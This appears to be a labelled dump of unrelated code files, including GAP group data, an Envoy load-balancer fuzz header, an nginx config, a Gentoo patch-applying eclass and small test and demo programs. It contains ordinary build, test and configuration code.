I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-P>cXk }xD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j)L9]-P>c5H }t/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjL]1TDg5XHk }w/%I6Y.QAd*M:^2UE\ h(K8[0SCf,O=b4WGj)91TDg5XHk }u/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjL]1TDg5XHk }x\ /%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)91TDg5XHk }tM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4\ WGj)L9]Tg-P>c }wM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]1D-P>c }uM%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGj)L9]Tg-P>c }xM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]1D-P>c \ }t)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBeNa3VFi }w)%I6Y.QAd*M:^2UEh(K8[0SCf,O=\ b4WGj/RBe+<3VFi }u)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBeNa3VFi }x)%I6Y.QAd*M:\ ^2UEh(K8[0SCf,O=b4WGj/RBe+<3VFi }tG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+N<a", "Vi }wG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+N<a3F }uG%I6Y.QAd*M:^2UEh(K8[0SC\ f,O=b4WGj&J7Z+N<aVi }xG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+N<a3F" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8b%nE/))%% }t3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ/RBe3V\ Fi }w3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7/RBe3VFi }u3D%I6Y.QAd*M:^2UEh(K8[0S\ Cf,O=b4WGjJZ/RBe3VFi }x3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7/RBe3VFi }tQD%I6Y\ .QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7ZRe+N<a }wQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&\ J7Z/B+N<a }uQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7ZRe+N<a }xQD%I6Y.QAd*M:^2UE\ h(K8[0SCf,O=b4WGj&J7Z/B+N<a }tG/%I6Y*M:^Uh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }\ wG/%I6Y*M:^2E&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uG/%I6Y*M:^Uh&J7Z/RBe+N<a3VFi\ )L9]1TDg-P>c5XHk }xG/%I6Y*M:^2E&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2/IY.QAd2U\ Eh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }w2/%6.QAd2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>\ c5XHk }u2/IY.QAd2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2/%6.QAd2UEh&J7Z/RBe+\ N<a3VFi)L9]1TDg-P>c5XHk }wP/.A&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uP/%I6Yd*M:^\ &J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t&/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDgP5X\ Hk }w&/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDg-5XHk }u&/%I6Y.QAd*M:^2UEh(K8[0S", "Cf,O=b4WGj1TDgc5XHk }x&/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDg>5XHk }tE/%I6Y.\ QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-P>cX }wE/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9\ ]-P>c5!z&E/-X" ), Concatenation( "%%%%%%%%(G95K:e1%8-,/%%PE/))%% }uDd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-P>ck }xD%I6\ Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-P>cH }t/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjL1\ TDg5XHk }w/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)1TDg5XHk }u/%I6Y.QAd*M:^2UEh(K8[\ 0SCf,O=b4WGj]1TDg5XHk }x/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj91TDg5XHk }tM%I6Y.Q\ Ad*M:^2UEh(K8[0SCf,O=b4WGj)L9]T-P>c }wM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]1\ -P>c }uM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]g-P>c }xM%I6Y.QAd*M:^2UEh(K8[0SC\ f,O=b4WGj)L9]D-P>c }t)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBeN3VFi }w)%I6Y.QAd*\ M:^2UEh(K8[0SCf,O=b4WGj/RBe+3VFi }u)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBea3VF\ i }x)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBe<3VFi }tG%I6Y.QAd*M:^2UEh(K8[0SCf,O\ =b4WGj&J7Z+N<aV }wG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+N<a3 }uG%I6Y.QAd*M:^\ 2UEh(K8[0SCf,O=b4WGj&J7Z+N<ai }xG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+N<aF }\ t2%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJ/RBe3VFi }w2%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4\ WGj&/RBe3VFi }u2%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjZ/RBe3VFi }x2%I6Y.QAd*M:^2U", "Eh(K8[0SCf,O=b4WGj7/RBe3VFi }tP%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7ZR+N<a }w\ P%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/+N<a!}cP/E" ), "%%%%%%%%(G95K:e1%8-,8b%PE/))%% }uQ%f,O=b4WGj&J7Ze+N<a }xQ%%I6Y.QAd*M:^2UEh(\ K8[0SCf,O=b4WGj&J7ZB+N<a }tGD%I6Y*M:^U&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wGD%\ I6Y*M:^2&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uGD%I6Y*M:^h&J7Z/RBe+N<a3VFi)L9]1T\ Dg-P>c5XHk }xGD%I6Y*M:^E&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2DI.QAd2UEh&J7Z/R\ Be+N<a3VFi)L9]1TDg-P>c5XHk }w2D%.QAd2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u2\ DY.QAd2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2D6.QAd2UEh&J7Z/RBe+N<a3VFi)L9]\ 1TDg-P>c5XHk!}uPD>(!}t&D1O!}w&D1O!}u&D1O!}x&D1O!}tED15!}wED15!}uED15!}xED15!\ }t0D1O!}w0D1O!}u0D1O!}x0D1O!}tND15!}wND15!}cND/.", "%%%%%%%%(G95K:e1%8-,8b%nF/<)%% }WNP.QAd*M:^2UEh(K8[,O=b!}xNP15!}t*P1I!}w*P1\ I!}u*P1I!}x*P1I!}tHP/x!}wHP/x!}uHP/x!}xHP/x!}t3P1I!}w3P1I!}u3P1I!}x3P1I!}tQP\ /x!}wQP/x!}uQP/x!}xQP/x }tG&%I6Y*M:^&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }wG&%I6\ Y*:^&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uG&%I6Y*M^&J7Z/RBe+N<a3VFi)L9]1TDg-P>c\ 5XHk }xG&%I6Y*M:&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2&QAd2UEh&J7Z/RBe+N<a3VFi\ )L9]1TDg-P>c5XHk }w2&.Ad2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u2&.Qd2UEh&J7Z\ /RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2&.QA2UEh&J7Z/RBe+N<a3VFi)L9", Concatenation( "%%%%%%%%(G95K:e1%8-,8%%2D/2)%%!}Q2=a }t&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TD\ gXHk }w&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDg5Hk }u&%I6Y.QAd*M:^2UEh(K8[0SCf,\ O=b4WGj1TDg5Xk }x&%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDg5XH }tE%I6Y.QAd*M:^2UE\ h(K8[0SCf,O=b4WGj)L9]P>c }wE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]->c }uE%I6Y.\ QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-Pc }xE%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-P\ > }t0%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjTDg5XHk }w0%I6Y.QAd*M:^2UEh(K8[0SCf,O=b\ 4WGj1Dg5XHk }u0%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1Tg5XHk }x0%I6Y.QAd*M:^2UEh(K\ 8[0SCf,O=b4WGj1TD5XHk }tN%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjL9]-P>c }wN%I6Y.QAd\ *M:^2UEh(K8[0SCf,O=b4WGj)9]-P>c }uN%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L]-P>c }\ xN%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9-P>c }t*%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j/RBeVFi }w*%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBe3Fi }u*%I6Y.QAd*M:^2UEh(K8[0\ SCf,O=b4WGj/RBe3Vi }x*%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBe3VF }tH%I6Y.QAd*M:\ ^2UEh(K8[0SCf,O=b4WGj&J7ZN<a }wH%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+<a }uH", "%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+Na }xH%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj\ &J7Z+N< }t3%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjRBe3VFi!})3.E" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8b%2D/2)%% }w3%2UEh(K8[0SCf,O=b4WGj/Be3VFi }u3%%I6Y.QAd\ *M:^2UEh(K8[0SCf,O=b4WGj/Re3VFi }x3%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RB3VFi \ }tQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJ7Z+N<a }wQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b\ 4WGj&7Z+N<a }uQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&JZ+N<a }xQ%%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGj&J7+N<a }wGD%I6Y*:^&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }uGD%I6Y\ *M^&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }xGD%I6YM&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XH\ k }t2DQd2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }w2D.A2UEh&J7Z/RBe+N<a3VFi)L9]1\ TDg-P>c5XHk }u2DQd2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }x2D.A2UEh&J7Z/RBe+N<\ a3VFi)L9]1TDg-P>c5XHk }t&D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDgXk }w&D%I6Y.QA\ d*M:^2UEh(K8[0SCf,O=b4WGj1TDg5H }u&D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDgXk }\ x&D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDg5H }tED%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4W\ Gj)L9]Pc }wED%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-> }uED%I6Y.QAd*M:^2UEh(K8[\ 0SCf,O=b4WGj)L9]Pc }xED%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]-> }t0D%I6Y.QAd*", "M:^2UEh(K8[0SCf,O=b4WGjTg5XHk }w0D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1D5XHk }u\ 0D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjTg5XHk }x0D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WG\ j1D5XHk!}%ND.c" ), Concatenation( "%%%%%%%%(G95K:e1%8-,8b%nD/2)%% }VND%I6Y.QAd*M:^2UEhK[,O=b }wND%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGj)9-P>c }uND%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjL]-P>c }xND%I6\ Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)9-P>c }t*D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBe\ Vi }w*D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBe3F }u*D%I6Y.QAd*M:^2UEh(K8[0SCf,O\ =b4WGj/RBeVi }x*D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBe3F }tHD%I6Y.QAd*M:^2UEh\ (K8[0SCf,O=b4WGj&J7ZNa }wHD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+< }uHD%I6Y.Q\ Ad*M:^2UEh(K8[0SCf,O=b4WGj&J7ZNa }xHD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+< \ }t3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjRe3VFi }w3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4\ WGj/B3VFi }u3D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjRe3VFi }x3D%I6Y.QAd*M:^2UEh(K8\ [0SCf,O=b4WGj/B3VFi }tQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ+N<a }wQD%I6Y.QAd*\ M:^2UEh(K8[0SCf,O=b4WGj&7+N<a }uQD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjJZ+N<a }xQ\ D%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&7+N<a }wG/%I6Y*:&J7Z/RBe+N<a3VFi)L9]1TDg-P\ >c5XHk }uG/%I6Y^&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t2/Q2UEh&J7Z/RBe+N<a3VFi)", "L9]1TDg-P>c5XHk }w2/.2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u2/d2UEh&J7Z/RBe\ +N<a3VFi)L9]1TDg-P>c5XHk }x2/A2UEh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t&/%I6Y.\ QAd*M:^2UEh(K8[0SCf,O=b4WGj1" ), Concatenation( "%%%%%%%%(G95K:e1%8-,/%%PD/2)%% yM%I6YQ }w%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1\ TDg5 }u%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TDgk }x%%I6Y.QAd*M:^2UEh(K8[0SCf,O=\ b4WGj1TDgH }tD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]P }wD%I6Y.QAd*M:^2UEh(K8[0\ SCf,O=b4WGj)L9]- }uD%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9]c }xD%I6Y.QAd*M:^2UE\ h(K8[0SCf,O=b4WGj)L9]> }t/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjT5XHk }w/%I6Y.QAd*\ M:^2UEh(K8[0SCf,O=b4WGj15XHk }u/%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjg5XHk }x/%I6\ Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjD5XHk }tM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjL-P>c \ }wM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)-P>c }uM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj\ ]-P>c }xM%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj9-P>c }t)%I6Y.QAd*M:^2UEh(K8[0SCf,O\ =b4WGj/RBeV }w)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBe3 }u)%I6Y.QAd*M:^2UEh(K8[\ 0SCf,O=b4WGj/RBei }x)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/RBeF }tG%I6Y.QAd*M:^2U\ Eh(K8[0SCf,O=b4WGj&J7ZN }wG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z+ }uG%I6Y.QAd\ *M:^2UEh(K8[0SCf,O=b4WGj&J7Za }xG%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z< }t2%", "I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGjR3VFi }w2%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj/3V\ Fi }u2%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGje3VFi }x2%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4\ WGjB3" ), "%%%%%%%%(G95K:e1%8-,8b%PD/2)%% x33%I6Y }tQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj\ J+N<a }wQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&+N<a }uQ%%I6Y.QAd*M:^2UEh(K8[0SCf\ ,O=b4WGjZ+N<a }xQ%%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj7+N<a }uGD%I6Y^&J7Z/RBe+N<\ a3VFi)L9]1TDg-P>c5XHk!}t2D8V!}w2D8V!}u2D8V!}x2D8V!}t&D1M!}w&D1M!}u&D1M!}x&D1\ M!}tED14!}wED14!}uED14!}xED14!}t0D1R!}w0D1R!}u0D1R!}x0D1R!}tND1B!}wND1B!}uND\ 1B!}xND1B!}t*D1D!}w*D1D!}c*D/.", "%%%%%%%%(G95K:e1%8-,8b%nF/2)%% }u*M0SCf,O=b4WGj/RBe!}x*M1D!}tHM/u!}wHM/u!}u\ HM/u!}xHM/u!}t3M1P!}w3M1P!}u3M1P!}x3M1P!}tQM1<!}wQM1<!}uQM1<!}xQM1<!}t2)8V }\ w2)2Eh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }u2)2Uh&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5X\ Hk }x2)2UE&J7Z/RBe+N<a3VFi)L9]1TDg-P>c5XHk }t&)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4\ WGjTDg }w&)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1Dg }u&)%I6Y.QAd*M:^2UEh(K8[0SCf,\ O=b4WGj1Tg }x&)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj1TD }tE)%I6Y.QAd*M:^2UEh(K8[0\ SCf,O=b4WGjL9] }wE)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)9] }uE)%I6Y.QAd*M:^2UEh(\ K8[0SCf,O=b4WGj)L] }xE)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj)L9 }t0)%I6Y.QAd*M:^2\ UEh(K8[0SCf,O=b4WGjXHk }w0)%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj5Hk!}c0)/N" ];

Cycript

hulpke/smallgrp

small7/sml512.cy

#pragma once #include "test/mocks/upstream/priority_set.h" #include "test/test_common/simulated_time_system.h" #include "load_balancer_fuzz_base.h" namespace Envoy { namespace Upstream { class ZoneAwareLoadBalancerFuzzBase : public Event::TestUsingSimulatedTime, public LoadBalancerFuzzBase { public: ZoneAwareLoadBalancerFuzzBase(bool need_local_cluster, const std::string& random_bytestring) : random_bytestring_(random_bytestring) { if (need_local_cluster) { local_priority_set_ = std::make_shared<PrioritySetImpl>(); local_priority_set_->getOrCreateHostSet(0); } } ~ZoneAwareLoadBalancerFuzzBase() override { // Clear out any set weights for (uint32_t priority_level = 0; priority_level < priority_set_.hostSetsPerPriority().size(); ++priority_level) { MockHostSet& host_set = *priority_set_.getMockHostSet(priority_level); for (auto& host : host_set.hosts_) { host->weight(1); } } // This deletes the load balancer first. If constructed with a local priority set, load balancer // with reference local priority set on destruction. Since local priority set is in a base // class, it will be initialized second and thus destructed first. Thus, in order to avoid a use // after free, you must delete the load balancer before deleting the priority set. lb_.reset(); } // These extend base class logic in order to handle local_priority_set_ if applicable. void initializeASingleHostSet(const test::common::upstream::SetupPriorityLevel& setup_priority_level, const uint8_t priority_level, uint16_t& port) override; void initializeLbComponents(const test::common::upstream::LoadBalancerTestCase& input) override; void updateHealthFlagsForAHostSet( const uint64_t host_priority, const uint32_t num_healthy_hosts, const uint32_t num_degraded_hosts, const uint32_t num_excluded_hosts, const Protobuf::RepeatedField<Protobuf::uint32>& random_bytestring) override; void setupZoneAwareLoadBalancingSpecificLogic(); void addWeightsToHosts(); // If fuzzing Zone Aware Load Balancers, local priority set will get constructed sometimes. If not // constructed, a local_priority_set_.get() call will return a nullptr. std::shared_ptr<PrioritySetImpl> local_priority_set_; private: // This bytestring will be iterated through representing randomness in order to choose // weights for hosts. const std::string random_bytestring_; uint32_t index_of_random_bytestring_ = 0; }; } // namespace Upstream } // namespace Envoy

C

dcillera/envoy

test/common/upstream/zone_aware_load_balancer_fuzz_base.h

// scalac: -Yimports:hello.world.minidef class C { val v: Numb = Magic def greet() = println("hello, world!") }

Scala

jamesanto/scala

test/files/neg/yimports-custom/C_2.scala

server { listen 80; server_name localhost localhost.local; access_log /var/log/nginx/localhost_access.log; error_log /var/log/nginx/localhost_error.log warn; root /var/www/localhost; index index.php index.html; sendfile off; location ~* \.php { include fastcgi_params; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_cache off; fastcgi_index index.php; } include /vagrant/nginx/global/restrictions.conf; include /vagrant/nginx/global/wordpress_singleblock_rule.conf; }

ApacheConf

tonitone/vapnosta

vhosts/nginx.localhost.vhost

Darwin Dispatch MachO ObjectiveC libkern os

Text

lwhsu/swift

utils/api_checker/sdk-module-lists/fixed-clang-modules-common.txt

(* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. *) type init_result = { ok: bool; errors: Flow_error.ErrorSet.t Utils_js.FilenameMap.t; warnings: Flow_error.ErrorSet.t Utils_js.FilenameMap.t; suppressions: Error_suppressions.t; exports: Exports.t; } (* called to initialize library code on initial full pass. params are functions to save errors and suppressions: circular deps in Ocaml prevent direct calls from here to Types_js, where error management stuff lives. *) val init : options:Options.t -> reader:Mutator_state_reader.t -> string list -> init_result Lwt.t

OCaml

zhangmaijun/flow

src/services/inference/init_js.mli

import "autoLayout" class Title : Element { maxSize = { 1430, 0 }, font = { "Verdana", 60, bold = true }, fgColor = textColor; }; class CCol : Col { hAlignment = center, vAlignment = center; }; class BMBar : Bar { maxSize.h = 60; }; class MBar : Bar { maxSize.h = 30; }; define textColor = 0xFF2F3A3E; class Header : Element { font = { "Verdana", 50, bold = true }; fgColor = textColor; } class SmallHeader : Element { font = { "Verdana", 30, bold = true }; fgColor = textColor; } class Bullet : Element { fgColor = textColor; property const String caption { set { text.caption = value; } get { return text.caption; } } Element bullet { this, caption = "▪ ", fgColor = 0xFF104A4A; }; Col text { this, fgColor = textColor; }; } class BaseSlide : CCol { bitmap = { "graphics/bg1.png" }; bitmapTint = { 41, white }; bgColor = 0x59C6D2E3; font = { "Verdana", 32 }; } class CodeBlock : CCol { selfHAlignment = center, selfVAlignment = center; vAlignment = center; maxSize = { }; //bgColor = { 180, 0x094B55 }; bgColor = { 220, black }; font = { "Consolas", 30 }; // Since we don't have padding yet CCol text { this, fgColor = lime /*white*/; maxSize = { 1.0, 1.0 }; /*margin = { 20, 20, 20, 20 }*/ }; property const String caption { set { text.caption = value; } get { return text.caption; } } }

eC

N-eil/ecere-sdk

autoLayout/base.ec

# --- # jupyter: # kernelspec: # display_name: R # language: R # name: ir # --- # %% [markdown] # This is a jupyter notebook that uses the IR kernel. # %% sum(1:10) # %% plot(cars) # %%

R

st--/jupytext

tests/notebooks/mirror/ipynb_to_percent/ir_notebook.low.r

inherit eutils ECLASS=patch INHERITED="$INHERITED $ECLASS" DESCRIPTION="Base class for applying patches." patch_base=${FILESDIR}/patch addsrc_base=${FILESDIR}/addsrc # {{{ Patch applay patch_dir () { local dir=$1 local i="" local patch_from_file="" EPATCH_SUFFIX="patch.bz2" EPATCH_SINGLE_MSG="" cd ${S} for i in ${dir}/*.${EPATCH_SUFFIX} do if [ -f ${i}.desc ] then EPATCH_SINGLE_MSG=`cat ${i}.desc` else EPATCH_SINGLE_MSG="" fi if [ -f ${i} ] then epatch ${i} fi done for i in ${dir}/*.patchfile do if [ -f ${i}.desc ] then EPATCH_SINGLE_MSG=`cat ${i}.desc` else EPATCH_SINGLE_MSG="" fi if [ -f ${i} ] then echo "echo " `cat ${i}`> ${T}/patch_from_file patch_from_file=`source ${T}/patch_from_file` epatch ${patch_from_file} rm -f ${T}/patch_from_file fi done for i in ${IUSE} ${ARCH} do if ( use ${i} ) then if [ -d "${dir}/${i}" ] then patch_dir "${dir}/${i}" fi else if [ -d "${dir}/no_${i}" ] then patch_dir "${dir}/no_${i}" fi fi done EPATCH_SINGLE_MSG="" } patch_apply_patch () { if [ -z "${PR}" ] then my_rev=r0 else my_rev=${PR} fi if [ -d ${patch_base}/version ] then cd ${patch_base}/version if [ -d ${PV}-${my_rev} ] then patch_dir ${patch_base}/version/${PV}-${my_rev} elif [ -d ${PV} ] then patch_dir ${patch_base}/version/${PV} fi fi } # }}} # {{{ Additional files for src # arg1: target directory # arg2: files to unpack patch_unpack () { local UNPACK_DST=$1 local UNPACK_FILES=$2 local x local y local myfail local tarvars if [ "$USERLAND" == "BSD" ] then tarvars="" else tarvars="--no-same-owner" fi cd ${UNPACK_DST} for x in "${UNPACK_FILES}" do myfail="failure unpacking ${x}" echo ">>> Unpacking ${x} to $(pwd)" y="$(echo $x | sed 's:.*\.\(tar\)\.[a-zA-Z0-9]*:\1:')" case "${x##*.}" in tar) tar ${tarvars} -xf ${x} || die "$myfail" ;; tgz) tar ${tarvars} -xzf ${x} || die "$myfail" ;; tbz2) bzip2 -dc ${x} | tar ${tarvars} -xf - || die "$myfail" ;; ZIP|zip) unzip -qo ${x} || die "$myfail" ;; gz|Z|z) if [ "${y}" == "tar" ] then tar ${tarvars} -xzf $${x} || die "$myfail" else gzip -dc ${x} > ${x%.*} || die "$myfail" fi ;; bz2) if [ "${y}" == "tar" ] then bzip2 -dc ${x} | tar ${tarvars} -xf - || die "$myfail" else bzip2 -dc ${x} > ${x%.*} || die "$myfail" fi ;; *) echo "unpack ${x}: file format not recognized. Ignoring." ;; esac done } # arg1: files to unpack patch_addsrc_unpack () { local UNPACK_FILES=$1 patch_unpack ${S} ${UNPACK_FILES} } # arg1: dir patch_addsrc_dir () { local dir=$1 local i="" local addsrc_from_file="" ADDSRC_SINGLE_MSG="" ADDSRC_SUFFIX="bz2" cd ${S} for i in ${dir}/*.${ADDSRC_SUFFIX} do if [ -f ${i}.desc ] then ADDSRC_SINGLE_MSG=`cat ${i}.desc` else ADDSRC_SINGLE_MSG="" fi if [ -f ${i} ] then patch_addsrc_unpack ${i} fi done for i in ${IUSE} ${ARCH} do if ( use ${i} ) then if [ -d "${dir}/${i}" ] then patch_addsrc_dir "${dir}/${i}" fi else if [ -d "${dir}/no_${i}" ] then patch_addsrc_dir "${dir}/no_${i}" fi fi done ADDSRC_SINGLE_MSG="" } patch_apply_addsrc () { if [ -z "${PR}" ] then my_rev=r0 else my_rev=${PR} fi if [ -d ${addsrc_base}/version ] then cd ${addsrc_base}/version if [ -d ${PV}-${my_rev} ] then patch_addsrc_dir ${addsrc_base}/version/${PV}-${my_rev} elif [ -d ${PV} ] then patch_addsrc_dir ${addsrc_base}/version/${PV} fi fi } # }}} patch_src_unpack () { unpack ${A} patch_apply_patch patch_apply_addsrc if [ -n "${patch_OPTIONS}" ] then for i in ${patch_OPTIONS} do case "$i" in autoconf) cd ${S} autoconf ;; autogen) cd ${S} libtoolize --copy --force --automake aclocal autoheader automake --add-missing --gnu --include-deps autoconf ;; cleancvs) cd ${S} find . -name CVS -exec rm -rf {} \; 2> /dev/null find . -name .cvsignore -exec rm {} \; 2> /dev/null ;; *) ;; esac done fi } EXPORT_FUNCTIONS src_unpack # Local Variables: # mode: sh # End:

Gentoo Eclass

yamadharma/gentoo-portage-local

eclass/patch.eclass

"!dlroW ,olleH"> , v | : < @

Befunge

rish246/HelloWorld

Befunge/HelloWorld.befunge

